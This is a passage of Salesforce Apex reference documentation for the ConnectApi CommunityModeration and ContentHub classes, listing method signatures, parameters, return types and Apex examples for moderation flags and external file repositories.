String feedElementId, ConnectApi.CommunityFlagType type,
ConnectApi.CommunityFlagVisibility visibility, String note)
1245
CommunityModeration ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationCapability
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedItem(communityId, feedItemId)
Add a moderation flag to a feed item. To add a flag to a feed item, Allow members to flag content must be selected for
a community.
API Version
29.0–31.0
Important: In version 32.0 and later, use addFlagToFeedElement(communityId, feedElementId).
Requires Chatter
Yes
1246
CommunityModeration ClassReference
Signature
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String
feedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: ConnectApi.ModerationFlags
addFlagToFeedItem(communityId, feedItemId, visibility)
Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, Allow members to flag content
must be selected for a community.
API Version
30.0–31.0
Important: In version 32.0 and later, use addFlagToFeedElement(communityId, feedElementId, visibility).
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String
feedItemId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
visibility
Type: ConnectApi.CommunityFlagVisibility
1247
CommunityModeration ClassReference
Specifies the visibility behavior of a flag for various user types.
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Type: ConnectApi.ModerationFlags
getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment. To get the flags, the context user must have the “Moderate Communities Feeds” permission.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String
commentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
Return Value
Type: ConnectApi.ModerationFlags
getFlagsOnComment(communityId, commentId, visibility)
Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the “Moderate Communities
Feeds” permission.
API Version
30.0
1248
CommunityModeration ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String
commentId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Type: ConnectApi.ModerationFlags
getFlagsOnFeedElement(communityId, feedElementId)
Get the moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities Feeds
permission.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId,
String feedElementId)
1249
CommunityModeration ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
getFlagsOnFeedElement(communityId, feedElementId, visibility)
Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate
Communities Feeds permission.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
1250
CommunityModeration ClassReference
Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the “Moderate Communities Feeds” permission.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFlagsOnFeedElement(communityId, feedElementId).
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String
feedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: ConnectApi.ModerationFlags
getFlagsOnFeedItem(communityId, feedItemId, visibility)
Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the “Moderate Communities
Feeds” permission.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFlagsOnFeedElement(communityId, feedElementId, visibility).
1251
CommunityModeration ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String
feedItemId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Type: ConnectApi.ModerationFlags
removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must have
the “Moderate Communities Feeds” permission.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags removeFlagFromComment(String communityId,
String commentId, String userId)
1252
CommunityModeration ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
userId
Type: String
The ID for a user.
Return Value
Type: Void
removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag or
must have the Moderate Communities Feeds permission.
API Version
31.0
Requires Chatter
Yes
Signature
public static void removeFlagFromFeedElement(String communityId, String feedElementId,
String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
userId
Type: String
The ID for a user.
1253
CommunityModeration ClassReference
Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
removeFlagsOnFeedItem(communityId, feedItemId, userId)
Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must have
the “Moderate Communities Feeds” permission.
API Version
29.0–31.0
Important: In version 32.0 and later, use removeFlagFromFeedElement(communityId, feedElementId, userId).
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags removeFlagsOnFeedItem(String communityId,
String feedItemId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
userId
Type: String
The ID for a user.
Return Value
Type: Void
ContentHub Class
Access repositories and their files and folders.
Namespace
ConnectApi
1254
ContentHub ClassReference
ContentHub Methods
The following are methods for ContentHub. All methods are static.
IN THIS SECTION:
addRepositoryItem(repositoryId, repositoryFolderId, file)
Add a repository item.
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file)
Add a repository item in a community.
addRepositoryItem(repositoryId, repositoryFolderId, file, fileData)
Add a repository item, including the binary file.
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData)
Add a repository item, including the binary file, in a community.
getAllowedItemTypes(repositoryId, repositoryFolderId)
Get the item types that the context user is allowed to create in the repository folder.
getAllowedItemTypes(repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder.
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId)
Get the item types that the context user is allowed to create in the repository folder in a community.
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder in a community.
getFilePreview(repositoryId, repositoryFileId, formatType)
Get a repository file preview.
getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
Get a page or page range of a repository file preview.
getFilePreview(communityId, repositoryId, repositoryFileId, formatType)
Get a repository file preview in a community.
getFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
Get a page or page range of a repository file preview in a community.
getItemType(repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository.
getItemType(communityId, repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository in a community.
getPreviews(repositoryId, repositoryFileId)
Get information about a repository file’s supported previews.
getPreviews(communityId, repositoryId, repositoryFileId)
Get information about a repository file’s supported previews in a community.
getRepositories()
Get a list of repositories.
getRepositories(communityId)
Get a list of repositories in a community.
1255
ContentHub ClassReference
getRepositories(pageParam, pageSize)
Get a page of repositories.
getRepositories(communityId, pageParam, pageSize)
Get a page of repositories in a community.
getRepository(repositoryId)
Get a repository.
getRepository(communityId, repositoryId)
Get a repository in a community.
getRepositoryFile(repositoryId, repositoryFileId)
Get a repository file.
getRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information.
getRepositoryFile(communityId, repositoryId, repositoryFileId)
Get a repository file in a community.
getRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information in a community.
getRepositoryFolder(repositoryId, repositoryFolderId)
Get a repository folder.
getRepositoryFolder(communityId, repositoryId, repositoryFolderId)
Get a repository folder in a community.
getRepositoryFolderItems(repositoryId, repositoryFolderId)
Get repository folder items.
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId)
Get repository folder items in a community.
getRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize)
Get a page of repository folder items.
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)
Get a page of repository folder items in a community.
updateRepositoryFile(repositoryId, repositoryFileId, file)
Update the metadata of a repository file.
updateRepositoryFile(repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file.
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file)
Update the metadata of a repository file in a community.
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file in a community.
addRepositoryItem(repositoryId, repositoryFolderId, file)
Add a repository item.
1256
ContentHub ClassReference
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubItemInput file)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
Return Value
Type: ConnectApi.RepositoryFolderItem
Example
This example creates a file without binary content (metadata only) in a repository folder. After the file is created, we show the file’s ID,
name, description, external URL, and download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = 'new folder item name.txt';
newItem.fields.add(fieldValueInput);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
1257
ContentHub ClassReference
ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);
final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\' \n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file)
Add a repository item in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String communityId,
String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
Return Value
Type: ConnectApi.RepositoryFolderItem
1258
ContentHub ClassReference
addRepositoryItem(repositoryId, repositoryFolderId, file, fileData)
Add a repository item, including the binary file.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput
fileData)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
fileData
Type: ConnectApi.BinaryInput
The binary file.
Return Value
Type: ConnectApi.RepositoryFolderItem
Example
This example creates a file with binary content and metadata in a repository folder. After the file is created, we show the file’s ID, name,
description, external URL, and download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
1259
ContentHub ClassReference
//Metadata: name field
Final String newFileName = 'new folder item name.txt';
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = newFileName;
newItem.fields.add(fieldValueInput);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);
//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob,
newFileMimeType, newFileName);
final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem,
fileBinaryInput);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\' \n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file,
fileData)
Add a repository item, including the binary file, in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String communityId,
String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file,
ConnectApi.BinaryInput fileData)
1260
ContentHub ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
fileData
Type: ConnectApi.BinaryInput
The binary file.
Return Value
Type: ConnectApi.RepositoryFolderItem
getAllowedItemTypes(repositoryId, repositoryFolderId)
Get the item types that the context user is allowed to create in the repository folder.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String
repositoryId, String repositoryFolderId)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
1261
ContentHub ClassReference
The ID of the repository folder.
Return Value
Type: ConnectApi.ContentHubAllowedItemTypeCollection
getAllowedItemTypes(repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String
repositoryId, String repositoryFolderId, ConnectApi.ConnectContentHubItemType filter)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
filter
Type: ConnectApi.ContentHubItemType
Specifies the item types. Values are:
•Any—Includes files and folders.
•FilesOnly—Includes files only.
•FoldersOnly—Includes folders only.
Return Value
Type: ConnectApi.ContentHubAllowedItemTypeCollection
1262
ContentHub ClassReference
Example
This example calls getAllowedItemTypes(repositoryId, repositoryFolderId,
ConnectApi.ContentHubItemType.FilesOnly) to get the first ConnectApi.ContentHubItemTypeSummary.id
of a file. The context user can create allowed files in a repository folder in the external system.
final ConnectApi.ContentHubAllowedItemTypeCollection allowedItemTypesColl =
ConnectApi.ContentHub.getAllowedItemTypes(repositoryId, repositoryFolderId,
ConnectApi.ContentHubItemType.FilesOnly);
final List<ConnectApi.ContentHubItemTypeSummary> allowedItemTypes =
allowedItemTypesColl.allowedItemTypes;
string allowedFileItemTypeId = null;
if(allowedItemTypes.size() > 0){
ConnectApi.ContentHubItemTypeSummary allowedItemTypeSummary = allowedItemTypes.get(0);
allowedFileItemTypeId = allowedItemTypeSummary.id;
}
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId)
Get the item types that the context user is allowed to create in the repository folder in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String
communityId, String repositoryId, String repositoryFolderId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
Return Value
Type: ConnectApi.ContentHubAllowedItemTypeCollection
1263
ContentHub ClassReference
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String
communityId, String repositoryId, String repositoryFolderId,
ConnectApi.ConnectContentHubItemType filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
filter
Type: ConnectApi.ContentHubItemType
Specifies the item types. Values are:
•Any—Includes files and folders.
•FilesOnly—Includes files only.
•FoldersOnly—Includes folders only.
Return Value
Type: ConnectApi.ContentHubAllowedItemTypeCollection
getFilePreview(repositoryId, repositoryFileId, formatType)
Get a repository file preview.
API Version
39.0
1264
ContentHub ClassReference
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String repositoryId, String
repositoryFileId, ConnectApi.FilePreviewFormat formatType)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
formatType
Type: ConnectApi.FilePreviewFormat
Specifies the format of the file preview. Values are:
•Pdf—Preview format is PDF.
•Svg—Preview format is compressed SVG.
•Thumbnail—Preview format is 240 x 180 PNG.
•ThumbnailBig—Preview format is 720 x 480 PNG.
•ThumbnailTiny—Preview format is 120 x 90 PNG.
PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.
Return Value
Type: ConnectApi.FilePreview
Example
This example calls getFilePreview(repositoryId, repositoryFileId,
ConnectApi.FilePreviewFormat.Thumbnail) to get the thumbnail format preview along with its respective URL and
number of thumbnail renditions. For each thumbnail format, we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';final ConnectApi.FilePreview
filePreview =
ConnectApi.ContentHub.getFilePreview(gDriveRepositoryId, gDriveFileId,
ConnectApi.FilePreviewFormat.Thumbnail);System.debug(String.format('Preview - URL:
\'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}', new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));for(ConnectApi.FilePreviewUrl
filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
1265
ContentHub ClassReference
getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber,
endPageNumber)
Get a page or page range of a repository file preview.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String repositoryId, String
repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer startPageNumber,
Integer endPageNumber)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
formatType
Type: ConnectApi.FilePreviewFormat
Specifies the format of the file preview. Values are:
•Pdf—Preview format is PDF.
•Svg—Preview format is compressed SVG.
•Thumbnail—Preview format is 240 x 180 PNG.
•ThumbnailBig—Preview format is 720 x 480 PNG.
•ThumbnailTiny—Preview format is 120 x 90 PNG.
PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.
startPageNumber
Type: Integer
The starting page number in the range of file preview URLs.
endPageNumber
Type: Integer
The ending page number in the range of file preview URLs.
1266
ContentHub ClassReference
Return Value
Type: ConnectApi.FilePreview
getFilePreview(communityId, repositoryId, repositoryFileId, formatType)
Get a repository file preview in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String communityId, String
repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
formatType
Type: ConnectApi.FilePreviewFormat
Specifies the format of the file preview. Values are:
•Pdf—Preview format is PDF.
•Svg—Preview format is compressed SVG.
•Thumbnail—Preview format is 240 x 180 PNG.
•ThumbnailBig—Preview format is 720 x 480 PNG.
•ThumbnailTiny—Preview format is 120 x 90 PNG.
PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.
Return Value
Type: ConnectApi.FilePreview
1267
ContentHub ClassReference
getFilePreview(communityId, repositoryId, repositoryFileId, formatType,
startPageNumber, endPageNumber)
Get a page or page range of a repository file preview in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String communityId, String
repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer
startPageNumber, Integer endPageNumber)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
formatType
Type: ConnectApi.FilePreviewFormat
Specifies the format of the file preview. Values are:
•Pdf—Preview format is PDF.
•Svg—Preview format is compressed SVG.
•Thumbnail—Preview format is 240 x 180 PNG.
•ThumbnailBig—Preview format is 720 x 480 PNG.
•ThumbnailTiny—Preview format is 120 x 90 PNG.
PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.
startPageNumber
Type: Integer
The starting page number in the range of file preview URLs.
endPageNumber
Type: Integer
The ending page number in the range of file preview URLs.
1268
ContentHub ClassReference
Return Value
Type: ConnectApi.FilePreview
getItemType(repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubItemTypeDetail getItemType(String repositoryId,
String repositoryItemTypeId)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryItemTypeId
Type: String
The ID of the repository item type.
Return Value
Type: ConnectApi.ContentHubItemTypeDetail
getItemType(communityId, repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubItemTypeDetail getItemType(String communityId, String
repositoryId, String repositoryItemTypeId)
1269
ContentHub ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryItemTypeId
Type: String
The ID of the repository item type.
Return Value
Type: ConnectApi.ContentHubItemTypeDetail
getPreviews(repositoryId, repositoryFileId)
Get information about a repository file’s supported previews.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreviewCollection getPreviews(String repositoryId, String
repositoryFileId)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
Return Value
Type: ConnectApi.FilePreviewCollection
1270
ContentHub ClassReference
Example
This example gets all supported preview formats and their respective URLs and number of renditions. For each supported preview format,
we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
System.debug(String.format('Preview - URL: \'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}',new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
}
getPreviews(communityId, repositoryId, repositoryFileId)
Get information about a repository file’s supported previews in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreviewCollection getPreviews(String communityId, String
repositoryId, String repositoryFileId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
Return Value
Type: ConnectApi.FilePreviewCollection
1271
ContentHub ClassReference
getRepositories()
Get a list of repositories.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories()
Return Value
Type: ConnectApi.ContentHubRepositoryCollection
Example
This example gets all repositories and gets the first SharePoint online repository found.
final string sharePointOnlineProviderType ='ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection =
ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
for(ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
sharePointOnlineRepository = repository;
break;
}
}
getRepositories(communityId)
Get a list of repositories in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories(String
communityId)
1272
ContentHub ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ContentHubRepositoryCollection
getRepositories(pageParam, pageSize)
Get a page of repositories.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories(Integer
pageParam, Integer pageSize)
Parameters
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.
Return Value
Type: ConnectApi.ContentHubRepositoryCollection
getRepositories(communityId, pageParam, pageSize)
Get a page of repositories in a community.
API Version
39.0
1273
ContentHub ClassReference
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories(String
communityId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.
Return Value
Type: ConnectApi.ContentHubRepositoryCollection
getRepository(repositoryId)
Get a repository.
API Version
369.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepository getRepository(String repositoryId)
Parameters
repositoryId
Type: String
The ID of the repository.
1274
ContentHub ClassReference
Return Value
Type: ConnectApi.ContentHubRepository
Example
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository =
ConnectApi.ContentHub.getRepository(repositoryId);
getRepository(communityId, repositoryId)
Get a repository in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepository getRepository(String communityId, String
repositoryId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
Return Value
Type: ConnectApi.ContentHubRepository
getRepositoryFile(repositoryId, repositoryFileId)
Get a repository file.
API Version
39.0
1275
ContentHub ClassReference
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String repositoryId,
String repositoryFileId)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFileId
